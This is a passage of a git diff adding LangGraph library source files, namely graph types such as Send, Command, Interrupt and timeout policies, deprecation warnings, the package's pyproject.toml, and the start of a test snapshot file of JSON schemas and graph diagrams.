+        callback event that occurs in the execution of the node or its nested descendants.
+    """
+
+    run_timeout: float | timedelta | None = None
+    """Hard wall-clock cap (in seconds) for a single node attempt.
+
+    This timeout is never refreshed by progress signals or `runtime.heartbeat()`.
+    """
+
+    idle_timeout: float | timedelta | None = None
+    """Maximum time (in seconds) a single node attempt may go without observable progress."""
+
+    refresh_on: Literal["auto", "heartbeat"] = "auto"
+    """Which signals refresh `idle_timeout`.
+
+    `"auto"` refreshes on standard graph progress signals and explicit heartbeats.
+    `"heartbeat"` refreshes only on explicit `runtime.heartbeat()` calls.
+    """
+
+    @classmethod
+    def coerce(
+        cls, value: float | timedelta | TimeoutPolicy | None
+    ) -> TimeoutPolicy | None:
+        """Normalize a timeout value to positive-second policy fields."""
+        if value is None:
+            return None
+        if isinstance(value, TimeoutPolicy):
+            # Fast path: a policy already produced by coerce() has float
+            # timeouts and a validated refresh_on, so we can return it as-is.
+            # `frozen=True` makes this safe to share.
+            rt, it = value.run_timeout, value.idle_timeout
+            if (
+                value.refresh_on in ("auto", "heartbeat")
+                and (rt is None or (type(rt) is float and rt > 0))
+                and (it is None or (type(it) is float and it > 0))
+                and (rt is not None or it is not None)
+            ):
+                return value
+        else:
+            value = cls(run_timeout=value)
+        if value.refresh_on not in ("auto", "heartbeat"):
+            raise ValueError("refresh_on must be 'auto' or 'heartbeat'")
+        run_timeout = _coerce_timeout_seconds(value.run_timeout, field="run_timeout")
+        idle_timeout = _coerce_timeout_seconds(value.idle_timeout, field="idle_timeout")
+        if run_timeout is None and idle_timeout is None:
+            return None
+        return cls(
+            run_timeout=run_timeout,
+            idle_timeout=idle_timeout,
+            refresh_on=value.refresh_on,
+        )
+
+
+KeyFuncT = TypeVar("KeyFuncT", bound=Callable[..., str | bytes])
+
+
+@dataclass(**_DC_KWARGS)
+class CachePolicy(Generic[KeyFuncT]):
+    """Configuration for caching nodes."""
+
+    key_func: KeyFuncT = default_cache_key  # type: ignore[assignment]
+    """Function to generate a cache key from the node's input.
+    Defaults to hashing the input with pickle."""
+
+    ttl: int | None = None
+    """Time to live for the cache entry in seconds. If `None`, the entry never expires."""
+
+
+_DEFAULT_INTERRUPT_ID = "placeholder-id"
+
+
+@final
+@dataclass(init=False, slots=True)
+class Interrupt:
+    """Information about an interrupt that occurred in a node.
+
+    !!! version-added "Added in version 0.2.24"
+
+    !!! version-changed "Changed in version v0.4.0"
+        * `interrupt_id` was introduced as a property
+
+    !!! version-changed "Changed in version v0.6.0"
+
+        The following attributes have been removed:
+
+        * `ns`
+        * `when`
+        * `resumable`
+        * `interrupt_id`, deprecated in favor of `id`
+    """
+
+    value: Any
+    """The value associated with the interrupt."""
+
+    id: str
+    """The ID of the interrupt. Can be used to resume the interrupt directly."""
+
+    def __init__(
+        self,
+        value: Any,
+        id: str = _DEFAULT_INTERRUPT_ID,
+        **deprecated_kwargs: Unpack[DeprecatedKwargs],
+    ) -> None:
+        self.value = value
+
+        if (
+            (ns := deprecated_kwargs.get("ns", MISSING)) is not MISSING
+            and (id == _DEFAULT_INTERRUPT_ID)
+            and (isinstance(ns, Sequence))
+        ):
+            self.id = xxh3_128_hexdigest("|".join(ns).encode())
+        else:
+            self.id = id
+
+    @classmethod
+    def from_ns(cls, value: Any, ns: str) -> Interrupt:
+        return cls(value=value, id=xxh3_128_hexdigest(ns.encode()))
+
+    @property
+    @deprecated("`interrupt_id` is deprecated. Use `id` instead.", category=None)
+    def interrupt_id(self) -> str:
+        warn(
+            "`interrupt_id` is deprecated. Use `id` instead.",
+            LangGraphDeprecatedSinceV10,
+            stacklevel=2,
+        )
+        return self.id
+
+
+class StateUpdate(NamedTuple):
+    values: dict[str, Any] | None
+    as_node: str | None = None
+    task_id: str | None = None
+
+
+class PregelTask(NamedTuple):
+    """A Pregel task."""
+
+    id: str
+    name: str
+    path: tuple[str | int | tuple, ...]
+    error: Exception | None = None
+    interrupts: tuple[Interrupt, ...] = ()
+    state: None | RunnableConfig | StateSnapshot = None
+    result: Any | None = None
+
+
+if sys.version_info > (3, 11):
+    _T_DC_KWARGS = {"weakref_slot": True, "slots": True, "frozen": True}
+else:
+    _T_DC_KWARGS = {"frozen": True}
+
+
+class CacheKey(NamedTuple):
+    """Cache key for a task."""
+
+    ns: tuple[str, ...]
+    """Namespace for the cache entry."""
+    key: str
+    """Key for the cache entry."""
+    ttl: int | None
+    """Time to live for the cache entry in seconds."""
+
+
+@dataclass(**_T_DC_KWARGS)
+class PregelExecutableTask:
+    name: str
+    input: Any
+    proc: Runnable
+    writes: deque[tuple[str, Any]]
+    config: RunnableConfig
+    triggers: Sequence[str]
+    retry_policy: Sequence[RetryPolicy]
+    cache_key: CacheKey | None
+    id: str
+    path: tuple[str | int | tuple, ...]
+    writers: Sequence[Runnable] = ()
+    subgraphs: Sequence[PregelProtocol] = ()
+    timeout: TimeoutPolicy | None = None
+
+
+class StateSnapshot(NamedTuple):
+    """Snapshot of the state of the graph at the beginning of a step."""
+
+    values: dict[str, Any] | Any
+    """Current values of channels."""
+    next: tuple[str, ...]
+    """The name of the node to execute in each task for this step."""
+    config: RunnableConfig
+    """Config used to fetch this snapshot."""
+    metadata: CheckpointMetadata | None
+    """Metadata associated with this snapshot."""
+    created_at: str | None
+    """Timestamp of snapshot creation."""
+    parent_config: RunnableConfig | None
+    """Config used to fetch the parent snapshot, if any."""
+    tasks: tuple[PregelTask, ...]
+    """Tasks to execute in this step. If already attempted, may contain an error."""
+    interrupts: tuple[Interrupt, ...]
+    """Interrupts that occurred in this step that are pending resolution."""
+
+
+class Send:
+    """A message or packet to send to a specific node in the graph.
+
+    The `Send` class is used within a `StateGraph`'s conditional edges to
+    dynamically invoke a node with a custom state at the next step.
+
+    Importantly, the sent state can differ from the core graph's state,
+    allowing for flexible and dynamic workflow management.
+
+    One such example is a "map-reduce" workflow where your graph invokes
+    the same node multiple times in parallel with different states,
+    before aggregating the results back into the main graph's state.
+
+    Attributes:
+        node (str): The name of the target node to send the message to.
+        arg (Any): The state or message to send to the target node.
+        timeout (TimeoutPolicy | None): Optional timeout policy for this specific
+            pushed task. If omitted, the target node's timeout policy is used.
+
+    !!! example
+
+        ```python
+        from typing import Annotated
+        from langgraph.types import Send
+        from langgraph.graph import END, START
+        from langgraph.graph import StateGraph
+        import operator
+
+        class OverallState(TypedDict):
+            subjects: list[str]
+            jokes: Annotated[list[str], operator.add]
+
+        def continue_to_jokes(state: OverallState):
+            return [Send("generate_joke", {"subject": s}) for s in state["subjects"]]
+
+        builder = StateGraph(OverallState)
+        builder.add_node("generate_joke", lambda state: {"jokes": [f"Joke about {state['subject']}"]})
+        builder.add_conditional_edges(START, continue_to_jokes)
+        builder.add_edge("generate_joke", END)
+        graph = builder.compile()
+
+        # Invoking with two subjects results in a generated joke for each
+        graph.invoke({"subjects": ["cats", "dogs"]})
+        # {'subjects': ['cats', 'dogs'], 'jokes': ['Joke about cats', 'Joke about dogs']}
+        ```
+    """
+
+    __slots__ = ("node", "arg", "timeout")
+
+    node: str
+    arg: Any
+    timeout: TimeoutPolicy | None
+
+    def __init__(
+        self,
+        /,
+        node: str,
+        arg: Any,
+        *,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+    ) -> None:
+        """
+        Initialize a new instance of the `Send` class.
+
+        Args:
+            node: The name of the target node to send the message to.
+            arg: The state or message to send to the target node.
+            timeout: Optional timeout policy for this specific pushed task. A
+                number or `timedelta` is treated as a hard `run_timeout`.
+        """
+        self.node = node
+        self.arg = arg
+        self.timeout = TimeoutPolicy.coerce(timeout)
+
+    def __hash__(self) -> int:
+        return hash((self.node, self.arg, self.timeout))
+
+    def __repr__(self) -> str:
+        if self.timeout is None:
+            return f"Send(node={self.node!r}, arg={self.arg!r})"
+        return f"Send(node={self.node!r}, arg={self.arg!r}, timeout={self.timeout!r})"
+
+    def __eq__(self, value: object) -> bool:
+        return (
+            isinstance(value, Send)
+            and self.node == value.node
+            and self.arg == value.arg
+            and self.timeout == value.timeout
+        )
+
+
+N = TypeVar("N", bound=Hashable)
+
+
+@dataclass(**_DC_KWARGS)
+class Command(Generic[N], ToolOutputMixin):
+    """One or more commands to update the graph's state and send messages to nodes.
+
+    Args:
+        graph: Graph to send the command to. Supported values are:
+
+            - `None`: the current graph
+            - `Command.PARENT`: closest parent graph
+        update: Update to apply to the graph's state.
+        resume: Value to resume execution with. To be used together with [`interrupt()`][langgraph.types.interrupt].
+            Can be one of the following:
+
+            - Mapping of interrupt ids to resume values
+            - A single value with which to resume the next interrupt
+        goto: Can be one of the following:
+
+            - Name of the node to navigate to next (any node that belongs to the specified `graph`)
+            - Sequence of node names to navigate to next
+            - `Send` object (to execute a node with the input provided)
+            - Sequence of `Send` objects
+    """
+
+    graph: str | None = None
+    update: Any | None = None
+    resume: dict[str, Any] | Any | None = None
+    goto: Send | Sequence[Send | N] | N = ()
+
+    def __repr__(self) -> str:
+        # get all non-None values
+        contents = ", ".join(
+            f"{key}={value!r}" for key, value in asdict(self).items() if value
+        )
+        return f"Command({contents})"
+
+    def _update_as_tuples(self) -> Sequence[tuple[str, Any]]:
+        if isinstance(self.update, dict):
+            return list(self.update.items())
+        elif isinstance(self.update, (list, tuple)) and all(
+            isinstance(t, tuple) and len(t) == 2 and isinstance(t[0], str)
+            for t in self.update
+        ):
+            return self.update
+        elif keys := get_cached_annotated_keys(type(self.update)):
+            return get_update_as_tuples(self.update, keys)
+        elif self.update is not None:
+            return [("__root__", self.update)]
+        else:
+            return []
+
+    PARENT: ClassVar[Literal["__parent__"]] = "__parent__"
+
+
+def interrupt(value: Any) -> Any:
+    """Interrupt the graph with a resumable exception from within a node.
+
+    The `interrupt` function enables human-in-the-loop workflows by pausing graph
+    execution and surfacing a value to the client. This value can communicate context
+    or request input required to resume execution.
+
+    In a given node, the first invocation of this function raises a `GraphInterrupt`
+    exception, halting execution. The provided `value` is included with the exception
+    and sent to the client executing the graph.
+
+    A client resuming the graph must use the [`Command`][langgraph.types.Command]
+    primitive to specify a value for the interrupt and continue execution.
+    The graph resumes from the start of the node, **re-executing** all logic.
+
+    If a node contains multiple `interrupt` calls, LangGraph matches resume values
+    to interrupts based on their order in the node. This list of resume values
+    is scoped to the specific task executing the node and is not shared across tasks.
+
+    To use an `interrupt`, you must enable a checkpointer, as the feature relies
+    on persisting the graph state.
+
+    !!! example
+
+        ```python
+        import uuid
+        from typing import Optional
+        from typing_extensions import TypedDict
+
+        from langgraph.checkpoint.memory import InMemorySaver
+        from langgraph.constants import START
+        from langgraph.graph import StateGraph
+        from langgraph.types import interrupt, Command
+
+
+        class State(TypedDict):
+            \"\"\"The graph state.\"\"\"
+
+            foo: str
+            human_value: Optional[str]
+            \"\"\"Human value will be updated using an interrupt.\"\"\"
+
+
+        def node(state: State):
+            answer = interrupt(
+                # This value will be sent to the client
+                # as part of the interrupt information.
+                \"what is your age?\"
+            )
+            print(f\"> Received an input from the interrupt: {answer}\")
+            return {\"human_value\": answer}
+
+
+        builder = StateGraph(State)
+        builder.add_node(\"node\", node)
+        builder.add_edge(START, \"node\")
+
+        # A checkpointer must be enabled for interrupts to work!
+        checkpointer = InMemorySaver()
+        graph = builder.compile(checkpointer=checkpointer)
+
+        config = {
+            \"configurable\": {
+                \"thread_id\": uuid.uuid4(),
+            }
+        }
+
+        for chunk in graph.stream({\"foo\": \"abc\"}, config):
+            print(chunk)
+
+        # > {'__interrupt__': (Interrupt(value='what is your age?', id='45fda8478b2ef754419799e10992af06'),)}
+
+        command = Command(resume=\"some input from a human!!!\")
+
+        for chunk in graph.stream(Command(resume=\"some input from a human!!!\"), config):
+            print(chunk)
+
+        # > Received an input from the interrupt: some input from a human!!!
+        # > {'node': {'human_value': 'some input from a human!!!'}}
+        ```
+
+    Args:
+        value: The value to surface to the client when the graph is interrupted.
+
+    Returns:
+        Any: On subsequent invocations within the same node (same task to be precise), returns the value provided during the first invocation
+
+    Raises:
+        GraphInterrupt: On the first invocation within the node, halts execution and surfaces the provided value to the client.
+    """
+    from langgraph._internal._constants import (
+        CONFIG_KEY_CHECKPOINT_NS,
+        CONFIG_KEY_SCRATCHPAD,
+        CONFIG_KEY_SEND,
+        RESUME,
+    )
+    from langgraph.config import get_config
+    from langgraph.errors import GraphInterrupt
+
+    conf = get_config()["configurable"]
+    # track interrupt index
+    scratchpad = conf[CONFIG_KEY_SCRATCHPAD]
+    idx = scratchpad.interrupt_counter()
+    # find previous resume values
+    if scratchpad.resume:
+        if idx < len(scratchpad.resume):
+            conf[CONFIG_KEY_SEND]([(RESUME, scratchpad.resume)])
+            return scratchpad.resume[idx]
+    # find current resume value
+    v = scratchpad.get_null_resume(True)
+    if v is not None:
+        assert len(scratchpad.resume) == idx, (scratchpad.resume, idx)
+        scratchpad.resume.append(v)
+        conf[CONFIG_KEY_SEND]([(RESUME, scratchpad.resume)])
+        return v
+    # no resume value found
+    raise GraphInterrupt(
+        (
+            Interrupt.from_ns(
+                value=value,
+                ns=conf[CONFIG_KEY_CHECKPOINT_NS],
+            ),
+        )
+    )
+
+
+@dataclass(slots=True)
+class Overwrite:
+    """Bypass a reducer and write the wrapped value directly to a `BinaryOperatorAggregate` channel.
+
+    Receiving multiple `Overwrite` values for the same channel in a single super-step
+    will raise an `InvalidUpdateError`.
+
+    !!! example
+
+        ```python
+        from typing import Annotated
+        import operator
+        from langgraph.graph import StateGraph
+        from langgraph.types import Overwrite
+
+        class State(TypedDict):
+            messages: Annotated[list, operator.add]
+
+        def node_a(state: TypedDict):
+            # Normal update: uses the reducer (operator.add)
+            return {"messages": ["a"]}
+
+        def node_b(state: State):
+            # Overwrite: bypasses the reducer and replaces the entire value
+            return {"messages": Overwrite(value=["b"])}
+
+        builder = StateGraph(State)
+        builder.add_node("node_a", node_a)
+        builder.add_node("node_b", node_b)
+        builder.set_entry_point("node_a")
+        builder.add_edge("node_a", "node_b")
+        graph = builder.compile()
+
+        # Without Overwrite in node_b, messages would be ["START", "a", "b"]
+        # With Overwrite, messages is just ["b"]
+        result = graph.invoke({"messages": ["START"]})
+        assert result == {"messages": ["b"]}
+        ```
+    """
+
+    value: Any
+    """The value to write directly to the channel, bypassing any reducer."""
+
+    type: Literal["__overwrite__"] = "__overwrite__"
+    """Discriminator field. Lets the channel reducer recognise an `Overwrite`
+    even after its dataclass form is JSON-serialised and the typed instance
+    is lost (e.g. an `orjson`-encoded state update routed through the
+    LangGraph API server)."""
diff --git a/libs/langgraph/langgraph/typing.py b/libs/langgraph/langgraph/typing.py
new file mode 100644
index 0000000..c118735
--- /dev/null
+++ b/libs/langgraph/langgraph/typing.py
@@ -0,0 +1,48 @@
+from __future__ import annotations
+
+from typing_extensions import TypeVar
+
+from langgraph._internal._typing import StateLike
+
+__all__ = (
+    "StateT",
+    "StateT_co",
+    "StateT_contra",
+    "InputT",
+    "OutputT",
+    "ContextT",
+)
+
+StateT = TypeVar("StateT", bound=StateLike)
+"""Type variable used to represent the state in a graph."""
+
+StateT_co = TypeVar("StateT_co", bound=StateLike, covariant=True)
+
+StateT_contra = TypeVar("StateT_contra", bound=StateLike, contravariant=True)
+
+ContextT = TypeVar("ContextT", bound=StateLike | None, default=None)
+"""Type variable used to represent graph run scoped context.
+
+Defaults to `None`.
+"""
+
+ContextT_contra = TypeVar(
+    "ContextT_contra", bound=StateLike | None, contravariant=True, default=None
+)
+
+InputT = TypeVar("InputT", bound=StateLike, default=StateT)
+"""Type variable used to represent the input to a `StateGraph`.
+
+Defaults to `StateT`.
+"""
+
+OutputT = TypeVar("OutputT", bound=StateLike, default=StateT)
+"""Type variable used to represent the output of a `StateGraph`.
+
+Defaults to `StateT`.
+"""
+
+NodeInputT = TypeVar("NodeInputT", bound=StateLike)
+"""Type variable used to represent the input to a node."""
+
+NodeInputT_contra = TypeVar("NodeInputT_contra", bound=StateLike, contravariant=True)
diff --git a/libs/langgraph/langgraph/utils/__init__.py b/libs/langgraph/langgraph/utils/__init__.py
new file mode 100644
index 0000000..d0f11b2
--- /dev/null
+++ b/libs/langgraph/langgraph/utils/__init__.py
@@ -0,0 +1 @@
+"""Legacy utilities module, to be removed in v1."""
diff --git a/libs/langgraph/langgraph/utils/config.py b/libs/langgraph/langgraph/utils/config.py
new file mode 100644
index 0000000..f855d0a
--- /dev/null
+++ b/libs/langgraph/langgraph/utils/config.py
@@ -0,0 +1,4 @@
+"""Backwards compat imports for config utilities, to be removed in v1."""
+
+from langgraph._internal._config import ensure_config, patch_configurable  # noqa: F401
+from langgraph.config import get_config, get_store  # noqa: F401
diff --git a/libs/langgraph/langgraph/utils/runnable.py b/libs/langgraph/langgraph/utils/runnable.py
new file mode 100644
index 0000000..6e7ccc6
--- /dev/null
+++ b/libs/langgraph/langgraph/utils/runnable.py
@@ -0,0 +1,3 @@
+"""Backwards compat imports for runnable utilities, to be removed in v1."""
+
+from langgraph._internal._runnable import RunnableCallable, RunnableLike  # noqa: F401
diff --git a/libs/langgraph/langgraph/version.py b/libs/langgraph/langgraph/version.py
new file mode 100644
index 0000000..a81f647
--- /dev/null
+++ b/libs/langgraph/langgraph/version.py
@@ -0,0 +1,12 @@
+"""Exports package version."""
+
+from importlib import metadata
+
+__all__ = ("__version__",)
+
+try:
+    __version__ = metadata.version(__package__)
+except metadata.PackageNotFoundError:
+    # Case where package metadata is not available.
+    __version__ = ""
+del metadata  # optional, avoids polluting the results of dir(__package__)
diff --git a/libs/langgraph/langgraph/warnings.py b/libs/langgraph/langgraph/warnings.py
new file mode 100644
index 0000000..aa447fb
--- /dev/null
+++ b/libs/langgraph/langgraph/warnings.py
@@ -0,0 +1,69 @@
+"""LangGraph specific warnings."""
+
+from __future__ import annotations
+
+__all__ = (
+    "LangGraphDeprecationWarning",
+    "LangGraphDeprecatedSinceV05",
+    "LangGraphDeprecatedSinceV10",
+    "LangGraphDeprecatedSinceV11",
+)
+
+
+class LangGraphDeprecationWarning(DeprecationWarning):
+    """A LangGraph specific deprecation warning.
+
+    Attributes:
+        message: Description of the warning.
+        since: LangGraph version in which the deprecation was introduced.
+        expected_removal: LangGraph version in what the corresponding functionality expected to be removed.
+
+    Inspired by the Pydantic `PydanticDeprecationWarning` class, which sets a great standard
+    for deprecation warnings with clear versioning information.
+    """
+
+    message: str
+    since: tuple[int, int]
+    expected_removal: tuple[int, int]
+
+    def __init__(
+        self,
+        message: str,
+        *args: object,
+        since: tuple[int, int],
+        expected_removal: tuple[int, int] | None = None,
+    ) -> None:
+        super().__init__(message, *args)
+        self.message = message.rstrip(".")
+        self.since = since
+        self.expected_removal = (
+            expected_removal if expected_removal is not None else (since[0] + 1, 0)
+        )
+
+    def __str__(self) -> str:
+        message = (
+            f"{self.message}. Deprecated in LangGraph V{self.since[0]}.{self.since[1]}"
+            f" to be removed in V{self.expected_removal[0]}.{self.expected_removal[1]}."
+        )
+        return message
+
+
+class LangGraphDeprecatedSinceV05(LangGraphDeprecationWarning):
+    """A specific `LangGraphDeprecationWarning` subclass defining functionality deprecated since LangGraph v0.5.0"""
+
+    def __init__(self, message: str, *args: object) -> None:
+        super().__init__(message, *args, since=(0, 5), expected_removal=(2, 0))
+
+
+class LangGraphDeprecatedSinceV10(LangGraphDeprecationWarning):
+    """A specific `LangGraphDeprecationWarning` subclass defining functionality deprecated since LangGraph v1.0.0"""
+
+    def __init__(self, message: str, *args: object) -> None:
+        super().__init__(message, *args, since=(1, 0), expected_removal=(2, 0))
+
+
+class LangGraphDeprecatedSinceV11(LangGraphDeprecationWarning):
+    """A specific `LangGraphDeprecationWarning` subclass defining functionality deprecated since LangGraph v1.1.0"""
+
+    def __init__(self, message: str, *args: object) -> None:
+        super().__init__(message, *args, since=(1, 1), expected_removal=(3, 0))
diff --git a/libs/langgraph/pyproject.toml b/libs/langgraph/pyproject.toml
new file mode 100644
index 0000000..cc6a99f
--- /dev/null
+++ b/libs/langgraph/pyproject.toml
@@ -0,0 +1,137 @@
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[project]
+name = "langgraph"
+version = "1.2.9"
+description = "Building stateful, multi-actor applications with LLMs"
+authors = []
+requires-python = ">=3.10"
+readme = "README.md"
+license = "MIT"
+license-files = ['LICENSE']
+classifiers = [
+    'Development Status :: 5 - Production/Stable',
+    'Programming Language :: Python',
+    'Programming Language :: Python :: Implementation :: CPython',
+    'Programming Language :: Python :: Implementation :: PyPy',
+    'Programming Language :: Python :: 3',
+    'Programming Language :: Python :: 3 :: Only',
+    'Programming Language :: Python :: 3.10',
+    'Programming Language :: Python :: 3.11',
+    'Programming Language :: Python :: 3.12',
+    'Programming Language :: Python :: 3.13',
+]
+dependencies = [
+    "langchain-core>=1.4.7,<2",
+    "langgraph-checkpoint>=4.1.0,<5.0.0",
+    "langgraph-sdk>=0.4.2,<0.5.0",
+    "langgraph-prebuilt>=1.1.0,<1.2.0",
+    "xxhash>=3.5.0",
+    "pydantic>=2.7.4",
+]
+
+
+[project.urls]
+Homepage = "https://docs.langchain.com/oss/python/langgraph/overview"
+Documentation = "https://reference.langchain.com/python/langgraph/"
+Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/langgraph"
+Changelog = "https://github.com/langchain-ai/langgraph/releases"
+Twitter = "https://x.com/langchain_oss"
+Slack = "https://www.langchain.com/join-community"
+Reddit = "https://www.reddit.com/r/LangChain/"
+
+[dependency-groups]
+test = [
+    "pytest",
+    "pytest-cov",
+    "pytest-dotenv",
+    "pytest-mock",
+    "syrupy",
+    "httpx",
+    "pytest-watcher",
+    "pytest-xdist[psutil]",
+    "pytest-repeat",
+    "langchain-core>=1.0.0",
+    "langgraph-prebuilt",
+    "langgraph-checkpoint",
+    "langgraph-checkpoint-sqlite",
+    "langgraph-checkpoint-postgres",
+    "langgraph-sdk",
+    "psycopg[binary]",
+    "uvloop==0.22.1",
+    "pyperf",
+    "py-spy",
+    "pycryptodome",
+    "langgraph-cli; python_version < '3.14'",
+    "langgraph-cli[inmem]; python_version < '3.14'",
+    "redis",
+]
+lint = [
+    "ruff",
+    "ty",
+    "types-requests",
+]
+dev = [
+    {include-group = "test"},
+    {include-group = "lint"},
+    "jupyter",
+]
+
+
+[tool.uv.sources]
+langgraph-prebuilt = { path = "../prebuilt", editable = true }
+langgraph-checkpoint = { path = "../checkpoint", editable = true }
+langgraph-checkpoint-sqlite = { path = "../checkpoint-sqlite", editable = true }
+langgraph-checkpoint-postgres = { path = "../checkpoint-postgres", editable = true }
+langgraph-sdk = { path = "../sdk-py", editable = true }
+langgraph-cli = { path = "../cli", editable = true }
+
+[tool.ruff]
+lint.select = [ "E", "F", "I", "TID251", "UP" ]
+lint.ignore = [ "E501" ]
+line-length = 88
+indent-width = 4
+extend-include = ["*.ipynb"]
+target-version = "py310"
+
+[tool.ruff.lint.flake8-tidy-imports.banned-api]
+"typing.TypedDict".msg = "Use typing_extensions.TypedDict instead."
+
+[tool.ty.rules]
+call-non-callable = "ignore"
+deprecated = "ignore"
+invalid-argument-type = "ignore"
+invalid-assignment = "ignore"
+invalid-key = "ignore"
+invalid-method-override = "ignore"
+invalid-paramspec = "ignore"
+invalid-return-type = "ignore"
+invalid-type-form = "ignore"
+invalid-yield = "ignore"
+missing-typed-dict-key = "ignore"
+no-matching-overload = "ignore"
+not-iterable = "ignore"
+unused-type-ignore-comment = "ignore"
+unresolved-attribute = "ignore"
+unsupported-base = "ignore"
+unsupported-operator = "ignore"
+
+[tool.coverage.run]
+omit = ["tests/*"]
+
+[tool.pytest-watcher]
+now = true
+delay = 0.1
+patterns = ["*.py"]
+
+[tool.hatch.build.targets.wheel]
+packages = ["langgraph"]
+
+[tool.pytest.ini_options]
+addopts = "--full-trace --strict-markers --strict-config --durations=5 --snapshot-warn-unused"
+
+[tool.codespell]
+# Ignore words specific to the LangGraph library code
+ignore-words-list = "infor,thead,stdio,nd,jupyter,lets,lite,uis,deque,langgraph,langchain,pydantic,typing,async,await,coroutine,iterable,iterables,serializable,deserializable,checkpointer,checkpointing,stateful,statefulness,prebuilt,prebuilt,supervisor,supervisory,swarm,swarming,multiactor,multiactors,subgraph,subgraphs,workflow,workflows,streaming,streamable,streamed,streamer,streamers,streaming,streamable,streamed,streamer,streamers"
diff --git a/libs/langgraph/tests/__init__.py b/libs/langgraph/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/libs/langgraph/tests/__snapshots__/test_large_cases.ambr b/libs/langgraph/tests/__snapshots__/test_large_cases.ambr
new file mode 100644
index 0000000..c48ecd8
--- /dev/null
+++ b/libs/langgraph/tests/__snapshots__/test_large_cases.ambr
@@ -0,0 +1,311 @@
+# serializer version: 1
+# name: test_conditional_state_graph[memory]
+  '{"$defs": {"AgentAction": {"description": "Represents a request to execute an action by an agent.\\n\\nThe action consists of the name of the tool to execute and the input to pass\\nto the tool. The log is used to pass along extra information about the action.", "properties": {"tool": {"title": "Tool", "type": "string"}, "tool_input": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}], "title": "Tool Input"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentAction", "default": "AgentAction", "title": "Type", "type": "string"}}, "required": ["tool", "tool_input", "log"], "title": "AgentAction", "type": "object"}, "AgentFinish": {"description": "Final return value of an ActionAgent.\\n\\nAgents return an AgentFinish when they have reached a stopping condition.", "properties": {"return_values": {"additionalProperties": true, "title": "Return Values", "type": "object"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentFinish", "default": "AgentFinish", "title": "Type", "type": "string"}}, "required": ["return_values", "log"], "title": "AgentFinish", "type": "object"}}, "properties": {"input": {"title": "Input", "type": "string"}, "agent_outcome": {"anyOf": [{"$ref": "#/$defs/AgentAction"}, {"$ref": "#/$defs/AgentFinish"}, {"type": "null"}], "title": "Agent Outcome"}, "intermediate_steps": {"items": {"maxItems": 2, "minItems": 2, "prefixItems": [{"$ref": "#/$defs/AgentAction"}, {"type": "string"}], "type": "array"}, "title": "Intermediate Steps", "type": "array"}}, "title": "AgentState", "type": "object"}'
+# ---
+# name: test_conditional_state_graph[memory].1
+  '{"$defs": {"AgentAction": {"description": "Represents a request to execute an action by an agent.\\n\\nThe action consists of the name of the tool to execute and the input to pass\\nto the tool. The log is used to pass along extra information about the action.", "properties": {"tool": {"title": "Tool", "type": "string"}, "tool_input": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}], "title": "Tool Input"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentAction", "default": "AgentAction", "title": "Type", "type": "string"}}, "required": ["tool", "tool_input", "log"], "title": "AgentAction", "type": "object"}, "AgentFinish": {"description": "Final return value of an ActionAgent.\\n\\nAgents return an AgentFinish when they have reached a stopping condition.", "properties": {"return_values": {"additionalProperties": true, "title": "Return Values", "type": "object"}, "log": {"title": "Log", "type": "string"}, "type": {"const": "AgentFinish", "default": "AgentFinish", "title": "Type", "type": "string"}}, "required": ["return_values", "log"], "title": "AgentFinish", "type": "object"}}, "properties": {"input": {"title": "Input", "type": "string"}, "agent_outcome": {"anyOf": [{"$ref": "#/$defs/AgentAction"}, {"$ref": "#/$defs/AgentFinish"}, {"type": "null"}], "title": "Agent Outcome"}, "intermediate_steps": {"items": {"maxItems": 2, "minItems": 2, "prefixItems": [{"$ref": "#/$defs/AgentAction"}, {"type": "string"}], "type": "array"}, "title": "Intermediate Steps", "type": "array"}}, "title": "AgentState", "type": "object"}'
+# ---
+# name: test_conditional_state_graph[memory].2
+  '''
+  {
+    "nodes": [
+      {
+        "id": "__start__",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langgraph",
+            "_internal",
+            "_runnable",
+            "RunnableCallable"
+          ],
+          "name": "__start__"
+        }
+      },
+      {
+        "id": "agent",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langchain",
+            "schema",
+            "runnable",
+            "RunnableSequence"
+          ],
+          "name": "agent"
+        }
+      },
+      {
+        "id": "tools",
+        "type": "runnable",
+        "data": {
+          "id": [
+            "langgraph",
+            "_internal",
+            "_runnable",
+            "RunnableCallable"
+          ],
+          "name": "tools"
+        }
+      },
+      {
+        "id": "__end__"
+      }
+    ],
+    "edges": [
+      {
+        "source": "__start__",
+        "target": "agent"
+      },
+      {
+        "source": "agent",
+        "target": "__end__",
+        "data": "exit",
+        "conditional": true
+      },
+      {
+        "source": "agent",
+        "target": "tools",
+        "data": "continue",
+        "conditional": true
+      },
+      {
+        "source": "tools",
+        "target": "agent"
+      }
+    ]
+  }
+  '''
+# ---
+# name: test_conditional_state_graph[memory].3
+  '''
+  graph TD;
+  	__start__ --> agent;
+  	agent -.  exit  .-> __end__;
+  	agent -.  continue  .-> tools;
+  	tools --> agent;
+  
+  '''
+# ---
+# name: test_message_graph[memory]
+  '{"$defs": {"AIMessage": {"additionalProperties": true, "description": "Message from an AI.\\n\\nAn `AIMessage` is returned from a chat model as a response to a prompt.\\n\\nThis message represents the output of the model and consists of both\\nthe raw output as returned by the model and standardized fields\\n(e.g., tool calls, usage metadata) added by the LangChain framework.", "properties": {"content": {"anyOf": [{"type": "string"}, {"items": {"anyOf": [{"type": "string"}, {"additionalProperties": true, "type": "object"}]}, "type": "array"}], "title": "Content"}, "additional_kwargs": {"additionalProperties": true, "title": "Additional Kwargs", "type": "object"}, "response_metadata": {"additionalProperties": true, "title": "Response Metadata", "type": "object"}, "type": {"const": "ai", "default": "ai", "title": "Type", "type": "string"}, "name": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Name"}, "id": {"anyOf": [{"type": "string"}, {"type": "null"}], "default": null, "title": "Id"}, "tool_calls": {"items": {"$ref": "#/$defs/ToolCall"}, "title": "Tool Calls", "type": "array"}, "invalid_tool_calls": {"items": {"$ref": "#/$defs/InvalidToolCall"}, "title": "Invalid Tool Calls", "type": "array"}, "usage_metadata": {"anyOf": 